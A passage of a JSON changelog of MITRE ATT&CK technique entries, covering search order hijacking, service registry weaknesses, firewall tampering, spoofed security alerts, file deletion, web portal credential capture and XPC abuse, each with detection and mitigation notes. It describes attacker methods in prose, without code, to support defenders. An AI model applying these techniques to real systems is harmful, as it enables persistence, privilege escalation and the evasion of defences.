parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_system_requirements": [ + "NTFS partitioned hard drive" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:27:29.615000+00:00\", \"old_value\": \"2024-02-14 21:56:34.831000+00:00\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/aa364404\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 17:48:58.999000+00:00", + "modified": "2024-09-12 15:25:57.059000+00:00", + "name": "Path Interception by Search Order Hijacking", + "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/008", + "external_id": "T1574.008" + }, + { + "source_name": "Microsoft Environment Property", + "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.", + "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa" + }, + { + "source_name": "Microsoft WinExec", + "description": "Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec" + }, + { + "source_name": "Windows NT Command Shell", + "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.", + "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Modification", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:25:57.059000+00:00\", \"old_value\": \"2023-03-30 21:01:44.781000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.\", \"new_path\": \"root['external_references'][2]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/ms682425\", \"new_path\": \"root['external_references'][2]['url']\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/ms687393\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 11:42:14.444000+00:00", + "modified": "2024-09-12 19:42:48.016000+00:00", + "name": "Services Registry Permissions Weakness", + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/011", + "external_id": "T1574.011" + }, + { + "source_name": "Tweet Registry Perms Weakness", + "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.", + "url": "https://x.com/r0wdy_/status/936365549553991680" + }, + { + "source_name": "insecure_reg_perms", + "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.", + "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/" + }, + { + "source_name": "Kansa Service related collectors", + "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.", + "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html" + }, + { + "source_name": "malware_hides_service", + "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.", + "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/" + }, + { + "source_name": "Autoruns for Windows", + "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" + }, + { + "source_name": "Registry Key Security", + "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN" + }, + { + "source_name": "microsoft_services_registry_tree", + "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree" + }, + { + "source_name": "troj_zegost", + "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Matthew Demaske, Adaptforward" + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Service: Service Modification", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_defense_bypassed": [ + "Application Control" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:42:48.016000+00:00\", \"old_value\": \"2023-03-30 21:01:38.651000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.\", \"old_value\": \"@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://x.com/r0wdy_/status/936365549553991680\", \"old_value\": \"https://twitter.com/r0wdy_/status/936365549553991680\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1024: Restrict Registry Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:00:48.814000+00:00", + "modified": "2024-09-12 19:37:57.867000+00:00", + "name": "Disable or Modify System Firewall", + "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/004", + "external_id": "T1562.004" + }, + { + "source_name": "Huntress BlackCat", + "description": "Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.", + "url": "https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps" + }, + { + "source_name": "change_rdp_port_conti", + "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.", + "url": "https://x.com/TheDFIRReport/status/1498657772254240768" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Firewall: Firewall Rule Modification", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Firewall: Firewall Disable" + ], + "x_mitre_defense_bypassed": [ + "Firewall" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:37:57.867000+00:00\", \"old_value\": \"2024-03-28 00:01:08.337000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"The DFIR Report. (2022, March 1). \\\"Change RDP port\\\" #ContiLeaks. Retrieved September 12, 2024.\", \"old_value\": \"The DFIR Report. (2022, March 1). \\\"Change RDP port\\\" #ContiLeaks. Retrieved March 1, 2022.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://x.com/TheDFIRReport/status/1498657772254240768\", \"old_value\": \"https://twitter.com/TheDFIRReport/status/1498657772254240768\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0018: Firewall (Firewall Disable)", + "DS0018: Firewall (Firewall Rule Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-14 16:04:24.865000+00:00", + "modified": "2024-10-16 20:12:44.962000+00:00", + "name": "Spoof Security Alerting", + "description": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a \u201chealthy\u201d system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/011", + "external_id": "T1562.011" + }, + { + "source_name": "BlackBasta", + "description": "Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7 Threat Actor. Retrieved March 14, 2023.", + "url": "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Sensor Health: Host Status" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 20:12:44.962000+00:00\", \"old_value\": \"2023-04-12 22:46:33.995000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0013: Sensor Health (Host Status)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-31 12:35:36.479000+00:00", + "modified": "2024-10-15 16:33:59.107000+00:00", + "name": "File Deletion", + "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/004", + "external_id": "T1070.004" + }, + { + "source_name": "Microsoft SDelete July 2016", + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Deletion" + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:33:59.107000+00:00\", \"old_value\": \"2022-04-16 18:25:43.231000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Deletion)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:59:50.058000+00:00", + "modified": "2024-10-15 16:43:43.849000+00:00", + "name": "Web Portal Capture", + "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056/003", + "external_id": "T1056.003" + }, + { + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_system_requirements": [ + "An externally facing login portal is configured." + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:43:43.849000+00:00\", \"old_value\": \"2023-03-30 21:01:46.711000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-12 06:45:36.763000+00:00", + "modified": "2024-10-16 16:14:12.793000+00:00", + "name": "XPC Services", + "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1559/003", + "external_id": "T1559.003" + }, + { + "source_name": "creatingXPCservices", + "description": "Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022.", + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1" + }, + { + "source_name": "Designing Daemons Apple Dev", + "description": "Apple. (n.d.). Retrieved October 12, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html" + }, + { + "source_name": "CVMServer Vuln", + "description": "Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021.", + "url": "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html" + }, + { + "source_name": "Learn XPC Exploitation", + "description": "Wojciech Regu\u0142a. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021.", + "url": "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Csaba Fitzl @theevilbit of Kandji" + ], + "x_mitre_data_sources": [ + "Process: Process Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.0", + 